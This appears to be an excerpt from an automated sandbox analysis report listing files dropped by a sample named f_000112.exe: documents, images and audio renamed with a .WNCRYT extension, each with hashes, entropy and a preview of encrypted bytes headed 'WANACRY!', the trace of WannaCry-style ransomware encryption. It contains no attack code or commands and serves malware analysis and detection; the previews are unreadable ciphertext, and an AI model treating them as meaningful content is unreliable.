                                                                                                                                                                              Preview:WANACRY!....^sV.......v+.]....N(.j.....j...d..L.....).Y.M)h{.J;I@9...y.T.c3...[......Y.a.j_..s.2t......DFVg..1z./3..p.....#`.....c.3.E.v*G.E..4..)...I1.H.c.G....<.:@c......;.b.:...T...<{....4_...E.......l.:.?.i.?....?~..\l..n...R..Z...w..^H.:..........[............#;.L.....7.k.<...[....LSJ..vf..."o....00XG....tf.U.[E5j V.H.\....r[<%.Xr..p....P....iy4..=...T........i..............cW..E.V.../}.3..OP.....s...`....*..Z...(sU.)....*.....vt9*......o..E.[.H..Tz:[.....R./a.U..j......cY6...O.).H.,..4.z.G\=..s.#g...n.T....}.^.........&...4O ..*..gOJA.&|.k......q.}..3..J....?}2.bv..oO...U.B.mk.&fD"J..n.R..[..=.6.N.4....W.m....r....e...&u.d...>...v.x.........*n3.........t.G.E......f.....xa.i....W.\.......Oo..Q.R.zhGt0.~..]@[O....Z..h.Y-vz.U........i*....hG..o-..J..%...0..so....2.=.(.B9&h..j..S..:k=.S.]8..N4-........M.w.~c..l.@.c......=].3..'...........l.w.3...#"b.VN...i}LX. ...|...S...Rk.?...|..>oL....5..X+......'.D$.nhbm.9us.".3)..,l9.;....._j.^

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8250686949143695
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkNqPS6h/pE8vtu5RtWJXbzqlsJW/179gJ61R+MldGx4ckF9VELIKnBmkGh59AQq:bk4qG681ufYp6CY17iJcUjrkxQ907hWj
                                                                                                                                                                              MD5:D37AD1C94844D5E6B9DCF58AC89C966B
                                                                                                                                                                              SHA1:B27B776C4228AEDE3C5CD2AD51CF5B60ACA5DF60
                                                                                                                                                                              SHA-256:091ACFD1CDF779B9683042A9AB6B767837475EC47F977CA7EB557CFB241A4A6E
                                                                                                                                                                              SHA-512:FFA76C8A0C2E68B70BC5E76ACD2F36B1AA91E7A6DC49538E9AE998926EC48232578D10B50031E976750D1D30A40F12D1D41DCF828C92E9144A5A8434777635FB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....YTs.V.L2.FA....4R6.....v..n.Bx......0..-...Wm...c)..-i. ...J.].i$J..R.3...}c}.4.<...<.%...).\u"......a........I@>..Gy....Kw.%".nRW[...}..dE.......7Ki.[..FSb1.FYx."....zY~.w.;..,..q..E.XH{?.L....R......C+..d...:f.r..g....QT..{.xb(.qrO.xo.?...............ro..?Pc.M..L.......5..1....i2....n.xZ.{..t..e.<..8.Z....ROQ..i5..~U...t1.c.D %F5.)X...w&....V!u....c..#...n~....*XPW7..e..?.T]....6..@.N.L.....y.?<.R.z....s..gd1?...&z....a..........2r..Q..%d...I![<q...^....Vq)....A...;.a.~..v.6B*1.....+..T6.g.-.....@:.....q..L.K<..F..AW.N.V..m...Y$}u.......~;........b;..U.#....r.....'..O...&.o<.(.,I........K... -..?...8.=..../mO.WB.n.h.lF..%.e...?.B:{r8.ai.R..`...Y..>... .v{..^.8.)..F%V..y..b...]c .....vv.B0..O..gw.s...<%..UK?..hse-..).$....&$m.N..Z...........]e.9m5[.q..ko..F..o.6.J./O.....C...$QC..X.cj#..w..=B....XE..<....._(...[...P@..!.Yk9S.>.F.g..#.".{.L, =".._.3o.~....H.@x..*...8-`%.[..8....i.|w.Z.H1..=..5.N.<.[..+....A.i.&T.#|.{S...u.s.O

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.855808777231875
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk1tWtQmq6xXdbPXWyqHxBvORNrxq8AJJKAyxqVIKtuwYO:bk1tW3q6xXdjeHxFO7r2JMxqVIKtAO
                                                                                                                                                                              MD5:3F132A30225471C23B69DFD79C5919BC
                                                                                                                                                                              SHA1:6EFD22D58223C57664DD9A445C576A1F1BD4C56F
                                                                                                                                                                              SHA-256:047534CAA06958F1060C58B732EA32CDD5A03B545B7C3B894731544667EDB3FE
                                                                                                                                                                              SHA-512:CB6D9289D65FA1F28555E483A92146F7A3F053E8C67F9B2E1305E3E80007E045F18B9700BC892B8CEFE44D17CAFB1FD4AC9F6E30393C55E51659ED92311F9861
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....E.. ..m.E..Cr.......!.._....pc%..R9_............{....m..wG.5.&...#}..i..{.>O$"b.).qBXH.{...R>."...[y.$c..(...6...A/......7...*...K.....T......N.%q..@..:.......8.=q.Z9xg=......l...FA....R)l..Za..r.$}A^?C?#..;.|..>..\...v$.@.'.?.V.N.=*...t.1..!...2............(.cF.......&l.....3i.+..H....MZ{.w$.(..d.J#5\j9,.&Q8~YI.u..7...o.B...x0....I.....j4.qh.b\..!C2r7.....I.aV.$w.n@.....!v=.......L.G..S...S..M.....*6.o_.2S..z.)....|..&...1.^.S*."c....e{i..un..(dq.....>..z.h...]..].F.}B./....+.*...a..........+.+.c.....N..N.`|g<...N.$q.[.Q8p...<C[ ..].=.:............K.??e(O>i^...l.*=....o?........L(f.>ZP).]+.bTn.y.SH...u.O....`.`eM.N.!L.......B../.,.I....i.1...!~.=A.?X..l..0.u~.....;.n.1....^#)`L0.C..j.]0........H..../.....F...+V...n...D4. ..,Y').. e...Sw+....."I1;4.0vo......=zQo.9.Y..d...`+../E-D...u%[i......j..s....f.8.......M0~.l....$..;.e..c.}...F....`. ....f....yT..3F#..IZm[.0.A.J!.}..Z0....?.7o...8HT....p....@.v.m.]..h....`ux..t...n..

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.825953700200299
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkh/SydeegUMaGNYBlddxPYuvq4vrV2lZcH8z8Hmq2esAIpBnkZo27:bkXeeUZNkHYuvhvrs3PzK2HAIM7
                                                                                                                                                                              MD5:18526599A343A1FC7002BD340845739A
                                                                                                                                                                              SHA1:7577CB7E52AAEC563DE87052ACDDD93DFA6C4790
                                                                                                                                                                              SHA-256:5B4B512CFB247F1FEE5C822C27723DD5185B17FD8617D3033DCB9E42A0C35F4D
                                                                                                                                                                              SHA-512:9C0FA43037AC3F6E1E892AED15CBAADC95AC48F47DBCD5259579F7B86FA8A9B4CC076C53478628CEADE3F979021F674A3572069959ED4FC047C94C26F661155C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....8..P+...4..mw9..T.Ee....{,..*g....K....CR4....h%....x....0IRc.Q_r.H....e....T(..2.p........1.*..I... .z.k......N..".J....p..u".w!.\..1*..........l(.9.G..!..J.L/.o...E`..\%(.lJOA..z..Z..h.E........7.......R...s.....B....{..m..gmB......G...P..%............L...D2...,.7g..rRH....UZ.L&..".uiL!.sj.Z2..y..U<]....o.VL)..A...Z. ...b.V............<../..#r%p.&I...YN..[...V/1.}.....h.V..e?...^...GE...!f.-..}3....Z....`.....\[0S-..m.s....6^....0.7..%...!...p.kx`\.....=....gB[.....7.. .F.P....*.OO..7.."....C.w...Y2E_.\ .d....<.W).G......._..J...k..6v.F.;....7&?.b...R..NY.p.S.".....`.....IO.y.............?..........5z..a.n.....j&....>.qzka...{&..((.....x.p...l.).0...j8(p...;.1...[&..n.z....J7.<C..F....).D..O.K.lT...qt.;.....Vf<Q...x9..au8A.#..0Lk>=v.7..*.g.W..|....i......q.....TB.k.!...(c..o&&V \...ps.s..OX<..?.=.'j...@........q.o."4.Z...@......+X..AX..........O...$.F.|.b+....%.C.D....F..u.[.,t.G).>.T....xfod..<.).p.C.w.P..PI.I..46R....L.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84009120456313
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bklzglH5UBuRmVp2xp4GTDzKMgWlDoRVHMNHT1mDXch6wCpvuKgEYaNHrWWMAlfX:bkFiZzAVp2j4CDz1g3RVHAtbEgP2HrWm
                                                                                                                                                                              MD5:C123643C17AB0DD79E0C29E70F6D1049
                                                                                                                                                                              SHA1:20E940F9CBD2F6E7430333A06D6E7EF30FBD08EE
                                                                                                                                                                              SHA-256:9A5779956D1C970109D52BB1ABAF832CE98E3087399E0B71FB06EEBF0BB3FF31
                                                                                                                                                                              SHA-512:71D8DCC6AD13DDD05763BE02EDADF81F2189839182F3C8E2191D6E254311DC50A44B0214DC2F36A6B1FE8ADEE8CA7088D590557CCA9CF56529E57291902F6453
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......t.&.}.... l.Q..g.M.k.I.,.".Tx..........=.w`w.K....m..f.......8Y....xni{..W@..L.[./pYK.^..............ai.i`..]<)TrR..L....hGz...*.Z..LD...q\PS.7..+..A8.k..>(...9!..6I.Kk..|.2.a...q..T.XM....D%F.@..N...1C..@..2...M..tU@E..V.$b.....t.h....4....pSa.............eNA.4o.Y...<..SP. .sm..h.|..L....$...B...-..o....;.J....o^...kI.a.`vd>\...Y..uP.H.:CU...F.G...%.P:.......g..u..5.....I..is ..3..KvK...Z.......S...K..`...P....`^..ER....../:.....o.D..@.^...h....|%`CAr..0. .{.b'.\../.........6...M...i,..k../..J.u;.Z..X..3s>.N.=.$.F..O7._..e4#.?.Uj/..ZK.bu*D..".3...0.F...L.DT...m;WJ.*...{..tC.`..yr..k.'..O}..Y....0..<n.j...T.......E.!w...C...k.j...F....z...\>.I.QAu.:+=.D...N}...7w.S.......ah..SS[H...&.w....W......>.....`..._! .....m6e....|.?j..U3uTH.(....|.` ..%..Y[.....5TH..G.g.ND."..yO..K.......x....]!.*..ejv...........\.O.X.........i~......}mm$qD....R.... ..7u.b....t1M......^}...:...o.7.>}3.-.[.....w.3........@-;...l.{.z..'JwTq...?..CG6.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8622020562149855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpXDDTGkp6iDlDSS9ZVNAZ/u0Cq+nkZgf/YxlNVws9VPTSSrz86VGMQM:bkpX7GdUSSfVNABpkkZOYxl9wsA6Fl
                                                                                                                                                                              MD5:B225C17F59CECA885E36DD24346C46B0
                                                                                                                                                                              SHA1:9F0AEE03A59B6E46F875911E6B096ED9B204725B
                                                                                                                                                                              SHA-256:01E965122F019C9AED5A3D830D7213DBD41FCE65250D974CB2B1AA51130AAF15
                                                                                                                                                                              SHA-512:386E5267F3E613C3A9477E91078C8D9743B069D300960304A3D0995FE35D7A9192E3207E54641042F22172B1CEF4E163707E01943AC3B351677AD81390131C1F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....]+......f.I.!.w.3Q^).Z...%CH.k8...k......=G.X.. .....D....3...>^;..>3C.R.-.Nqf;.n...jj.^....C$.L....M/..O.+.TB....,.^........`.w.._.64.......Or.ka.;S.(. %.~G....2....r..K..S....i......r...o...Y).|~...F...+..V..sA..$......2...^d.F.Z..Au./Q7%................:b.:...`x4...~.?....c......S^~..........b.u.}.}./........,.O..)H.....}.....$*Y.yp..!.w..<.N.P~..n....%!.....J.@X.[?.Pt...*E.w$.......>/.b0...........I.9w.3.3c.).9.q./&.......=.....'..s..@.*.i..%.I....X1.d.F...}..rF.H..|..V.G.(....S.u5......._......".Xb8..t.._..#..Z...3zv...........z..n....+.V.jLF..UK..-....5=......(.s".[...R&D%-E.A,F..q.<.E.....nc:}.P...4.p..7-QK....P.$g..w..>.J)..=.b.....w|3.a....^..w..lo..Ny..'.wU..v..~.9...d._._@s.Hq6.......f1....p.....r..z6.4..g.....^W..d..?H.......v...'GPf..p.......M..1].....@....b.....a...r.]..c.,3.d..+.8..."..#tS....../..N.....WN `..,8..<l.be.q(HZ.......m..)5....9.y\..S.{....\...#/.#.D.L~d.....#.=..9.P.......D.W|.A\o....}..k.X.6.0.3.a.O

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.847660423706141
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkdBDGL4QsQAMf7loRU22A82RMnHdWANYy++gA+0r6CScyLpBHuyyakKZ:bkdBDGL4QsQNx2K9WCYybgAfrZSxPuyV
                                                                                                                                                                              MD5:E5AD9555ED6875706ABBE89D7757AFC9
                                                                                                                                                                              SHA1:FD00CB37BB396343A6F2F03C219CD466516A8723
                                                                                                                                                                              SHA-256:4AA79421D8BCF8494FF24FF8D8B70DBFCC94AE881D3D66D33176BC19121BFDA5
                                                                                                                                                                              SHA-512:3B39AB0019D166FC0F2F1F7BB5E4B441B49711915350D7A0788705B2F3CA45085C345899D450BA683A8CBFABF31E04AF2925A95762AD01A868D15360F3858E18
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........._......B.q....$....}~%.."}\....r.`~U=.iH....ju.;.K.....BU.....h........].........3.h.......i....aH...y8h..g....4i..y.4..p......_..b...t.1...SgD.6.\.*...<q{...v.......$....B...#p....v2.,.....|.....E..!..3.X......m4W.f..6K.....zh.vdS................\^.'.42,.8...Q..kB.7...`:....1..0r..hb.N...X..WE..u.......'>.BG......'+...iD..n..K..Kx.....nb.p.8ftE.?..5E....#x.W.1H....(....a..O..}Yc.8..$C....+#9V.x...'..1.K.8W.gun.j.u..].j..z...;H...3......W.<..h...X.Z.=......zH.6...B....M..U.q..<.....4..T..uK0p.}./.......X.Th....1....]j.....o.o%..h{..Y......)+..<.-..b@ .S#xng.Z. ....Nk....../.....,...K0....'..\.;.i...wU^.]...-:E...o.....,/n...x....o.O.s..dx1...I..8......oR}.V.....u.|.x....{..1.u..0.g.........28.s{...c.....YW.r[....t.~zcI.^y.%\.V.R..S.(.tnU..J....r....$....n.?P.;.4.`.GAj.D....i#.(......VX...7."....y.6X...+|..BG..W........y.,F\T-y.uy....-]...b4.....p,.....Ww....Xm.l.R.2z...:X].D;T..........+Z....R[....d............Q....2

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.841455402905122
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkEt/sMWuIiBK64qXgLxoWtHLuu4LHEm6/LozMdMl/GM5pKDv4xYww2pK5HeD:bk2sMWNiBZXgFoeuDEm6kx/GM5pKj4xt
                                                                                                                                                                              MD5:64AE8BF81445D3A8BE1E393408C28EB2
                                                                                                                                                                              SHA1:8E7290AA4CFD33293609902977FBDEE2C4FC9B21
                                                                                                                                                                              SHA-256:717D09B1CB15AB82170BFE88F88C8461F3326D7DF71B0ADB4F8F5670F5D5E447
                                                                                                                                                                              SHA-512:0219173438982F60255A4CC07C67AD80CEA7E89BBFF6E33B5509B95EA6ECF8A0F16425358BDB336722D707E95CC7527F7CB2679C11B0C3ED3DF851A859C8C436
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Y..@.._o..S..O2_.....4.R.....I....+.]....n.k....R...g....UP..!M~.\...0.....(..[...0.I.DZX.x/I....DK>U.$>.,....8.S..H.;K'.l..].;F!..|.%j...5p.W.gu..E.f.>..<.......Fo.U_O..Eq..j.J}.NW..QIv.z(...6.._.z.w...i.8.l...Y..U7t.Z1..(p..]......%..l...............5..)$.pX.v;.z..ko.....r......l.../N|.......;...r...s..i..^..E&..}.Gh>.ncX4{.*Z...f.Kd......1.e..K.AU..j...n......H...J..Ds..z....o.K...@0kR...AU..(..h|.`....f.;.g.z..!.g.Y..\.t,.$]..}......i7?.RnN.v....):.]w..$.j....x..~.p..[o._..-...i.+....|....N.x.....4....d~wg./.L...*l..8.U.@....tC#.$..h{4...0...x.>.}..m..$0\....'.I=."..<......v..:...a.Mb ..........3}..Yi+...?y.:.l."..m...f.P.#..G.E...l..Z........%p..G.t.Z.f..i.^.@Y6..*....|..*_.{.B..G.+W'....0r39.....RZ.~/5..?.s...?6.P.1..k..Y*.P.<C}.^...j7.}......n..k..NhLs.Yyhh....c.-...~1.z.o,6Qh:.=..m......}.Zl.u2R. .....2...x...`P..#..wC.<[$..&....;2i4.i.....xt..rH...Tx.f)&.p.`O7)....#......"P...S..].c...}.K@m....<+Ra.D..#..i...

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857991858690527
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2dbEqXa95rhwIohXUIslJZgx1wtfO72RUiGwIoZvQnN2:bkCgqXa9FhDoZ2l3gk872Rdn5w2
                                                                                                                                                                              MD5:F95F23428EDA55DCE5462ABDA8EF9C5F
                                                                                                                                                                              SHA1:D33E212BA343205B396F6B1D8B3703A36144BD5D
                                                                                                                                                                              SHA-256:7CA96544E124E569E6954CD99AE192FE7A9DC367CCFBCD2626CBC5B145A48773
                                                                                                                                                                              SHA-512:A5C0A0592284A13AFF9D5FF264B316EC817A142492D5F473A20ED7941B77CB734C685783652DDE8B79CA88B2707E3F32B0223F57EED82B28057AB47B5C90E79E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......H-._..|v...f5.....o.&..I..z..w.#.Ne.B.z.7...k!..x{H..........3;.\Z..9o.....e.....4&'.U..o.U..?....v..|"..3......M[.1v.9.h.|@P....._...E......Ppd.Im.t...Y..._.}.X.Z.=.l(...ID.U!..e.`..K.....xo.7.-.h...d...Z5).J...+....q.Ote..&.{'.^j...................j.<........b3k@..j....)_..W\$....j.......ts.......nE..)w84.*.~..+.^..a..|T.&.H.|.e.@3..O....X....|..2.rM.P5..$h...5...9.W.s*..+...1...._e....+.....1....b.Fey..@.~....B`..?.tPC....[.v....Hipv..|..>4.?..d.p.....y......vL.s..y....7.j....0.v|...J..SoF.O..T.[...<]m.....z.z&D .g.3D..5...R....t.\.....Xn..N$....cc..0c..&.L..s.p]i......:=.'.......-....[8..)5....F.'`.q....j..c.<.O.....{.>..,l.F...).L..'>`U%..zmJ..^...7.jH.,.Hb..C..c......[)P....0ZD..k...VG.p0.|..........2....F!.@.....s..1.^.0..<G..,..$.....:..[.....,.C..->....|G.....2...0Yf........2.................Y..(.hk#.9..s.!3.9cJ...@Eo*...{.(h......UvY.q...........@..i.93.O.C.A.$J.D..$*.=.#WA..SAL..dQ...T.=.+u..o........}.$.Z.[c

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.807835615298432
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk3s1J3HiTffWoY8Z9aY0vMQZQy5Tf4zPWZtUk4HmDNsZgK2Lr:bk2JXyfuX8ZrQD5qPCtUHMqC
                                                                                                                                                                              MD5:848E927094F14CB327E2BFC555ECE7FB
                                                                                                                                                                              SHA1:A2F549CE8BE9421C814F2A73B62F3C2E5FDE3DB8
                                                                                                                                                                              SHA-256:59169A57D32E584BE53936FEEE74B986FE2BA2C4BDE0F34BA38DD8715F68C98B
                                                                                                                                                                              SHA-512:57940701E81B26906F882233B1C45EF9664C802F154A49B96F1939212D5F2DF7F229A7A28AF56C9455CE57FA007CFF7973E2F19E29B64AB20DFA97FFE82E8CBC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M..c..W..s@N....?......S..@..9..>a....J.k.s.....nC....}...{~r.G.....c..)...FnZ..oQb.# D..6;.kx...8_........Bv.M.C+..fs...wy0.....V..;............=.L1.s.`mB..Ha.dJ..z...'b..6.N..O.O...L...S...F1. ..pVE.'.V.......;\..[F..[.......p.......3.;............l...B.jo.i..(.:..\.._.F..I<p...D(j..*v...8...D......x.........A0...1.Z.4K.;....9.a..p..IaQ...\.6.w,.CB....c>.*...f.J`z.f.kk........t :...5..Ab..6P.@+....Bq....KJ.OC.kr..o~y.\9...I.....:.....7....X.,.....h...B....g.~h.c...{G..N..z}.s...u......^C....t........_...W....5....W..k..Gi6..c.;.}.z.g....ni@1.B...I.m.@\3x........~CZ..&.j..<...z.9..T.*..t...E#........+tn..._.F....r.h.J..3.....W.u...fWd..Vg.....\..H.8?......!J...}I..D...Bg.p./T\...\R/...7...H......=.)..V{..}.K.Ob..LR'.......;.S\....*....a.G..5,X.F.A\..........J$.l.._.6Aa{.X.g....P..F..'...8,..6..-.).1rN...hf.nAP.r.^...8!S..O1.5.....\.CL-.Z.I.....+(e.V....#d.......8.\.+)........!8...d.5.q.:f.......~..n89....fS.?.....r.9

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GIGIYTFFYT.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844827358615505
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkJt6kOHS8NdtJGurfPRSh3O4hLPjjUdmylfdKhtILoVwAxRVSdT:bkPzGJGChc3thL7jsdl1KhHSdT
                                                                                                                                                                              MD5:0A2D7C609E967B3394B26AD8231025CB
                                                                                                                                                                              SHA1:F4B9B2BAB9469197A8B2D28CDE45AC3E75610916
                                                                                                                                                                              SHA-256:AB9169627CF8C6F75617BE53C74458867813C3EDC030E51621B7F43A5E23B002
                                                                                                                                                                              SHA-512:AF5C51688BC056B03C6AF4196100C786CED3C998839191338EEF477AAB045DC023D58A18AF83BDC98CB9093E86A890B1D8E76369C96FFC101A70CD097964B891
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....K@.Ru$0.d.=......al.L..plx.%.x.&....j..dBIv..{..@..J..x.r(.\.D.e;....L;...;b=.......VJ..O..i..0u%6EzP.&#..,J.... ...g.......`..+0..p+.....S...;.=.].[.7J.N..?_.!.n.L....g.r.\O..@...h....4..R.-#kO3..3.E....D........c.,....cu.......h.....,...'................:............. ...!.L..J%S..*..W..L]....3.}T...i ..uEN|I...JP..".wZ.@.w.....XI..4C}...V..e.udL..v*.v6Jb.4...@..j..3X..L:....P..l ....D5.......Z....c...!.uX.hmK.......(.i.........E..X........`~...U..BG...`..R...X..5...N!...9...*.cn.#..d._.Gy...$6nM...!.}..Mr.F...v...a.R.U.w.f).3...s.......g...L.iU.......Q.."V.T.......I......6..'.W;..I 6.g....H....@m.^..3.Z.qQf.*..P.3.....%!...>..H}PU.`..fo*L..>`8..A....B....e........+.b ....x...J'..........42.V..u.G.p...c.L..U...w....6.A"ER.Q.k...d@.7..X>".8f...B....rO.dR..`....{<s.h.F}..Q..z..J...l..........UA...7.Q.j../..R....d...k.23u.;....]...X/.X.......<s1.M.....y..u..B.V.i`...-..^@.fQL..C.Y.B...M..5....+\.d.=.S...2.4.......r.jO

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.856420696347142
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/wONLlMoAVA+BeLaSFgNPbAOmvp3w7jPkEPl0SUStN85/L6/1cRcD0qF8:bkFRMHzBeLwNsOmv1w7jcEk5/+NceD0L
                                                                                                                                                                              MD5:FA018EE6B5244431DA1F0849C9B561EA
                                                                                                                                                                              SHA1:454B8A0652D0224E93AC317F531288F978EF5722
                                                                                                                                                                              SHA-256:F591CE84A7C64C8834213A36132CA01F106F48D1D7CA85F3C70D06A43EF019D4
                                                                                                                                                                              SHA-512:B858CA8A95AADB0D3976B97D9EE33A8C8557152851B4C70D1D2194F18120289DD9837FE404DE19E39A0FE0C87BE96E2DD355448E30A36DA7B0BA260E2282C452
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....+-.x..+.H..|d_-N.. .?.A*..T..4.........%...rV=...Z........cZ..t.j..-...P'z.!..r..Id...,.....x.a.4.....xzEc....|o...@....%..E..Z..<.....1o'.C...@..h...j).s..#....f.....x.x....D.>T.5.V..:...Q`2.N.^..:....2.r...H\...@n:.@U|6p.._....D.....S..@r..:.j............DK#...$.u.w&..t..+....?....)K.E...T..B>b'4,..]..b...u..9....i.N.+.+p.{x....,Uf..i.e.s...+...q..;2.*.j52....@C.t. ..>.S..k.q........C.....H.....D3N....gA...,...$f..R..X.;....^.}]4...$.)GV..6..K....|.8.1.d.d..MO;y9(.......R..N}KCG1..ny.0.Z9...D...!.R....u.#dE?.....+..B..q!"}].... L..../*.)jleu.y.....u....gq...p..V}w..g..!..cAeE...!*.X.w...[K=T>#...H.&./D....%....7u.L..D..n.y.......qtR8-...8.Pk..G~.^d.. +...A..Qu..Z...y.t4....rP...n...}^.r....0........`.T.L h>J.Or72..t.S......6.O&~...).n6.^\&...b.a..<.D...".#....Q.I_..}j3L.?H.:}y^S 2Q..#......V..K.Rg.JP0...T,...a..y.[U..>..T.*.]#;....9O.ZjN..Y...1.)...i..d.!$gG...e8.....(W..6.`..........+...%9X....-0TnY.....m3.s\.DK.VD..?.m..A..P

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.851271021846449
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkwRzzSOWqOYhABqkXlRt1iniRITZVGK+q1LOGr9YbF7lVSkzzgH1xzrlW3NG/oT:bkwRzOqhAzSnNZ8u4EYhbnUXrlBwH
                                                                                                                                                                              MD5:FA1C02E50E94ADE2A0B7488721645D82
                                                                                                                                                                              SHA1:0D66EDB13752A288278317441AF251433326C982
                                                                                                                                                                              SHA-256:97CE198A90BF64610B1C99038A58787FBF732A357727F2948CCC361C97635CDA
                                                                                                                                                                              SHA-512:D10CD6E424F358A8421B5B8F1694C08C27A3B902920DA7C76517036DE3F0AB168791940BEBE23E60943E52A778112542C844F8938EF5BF8C08CD0940A2E8B1F4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
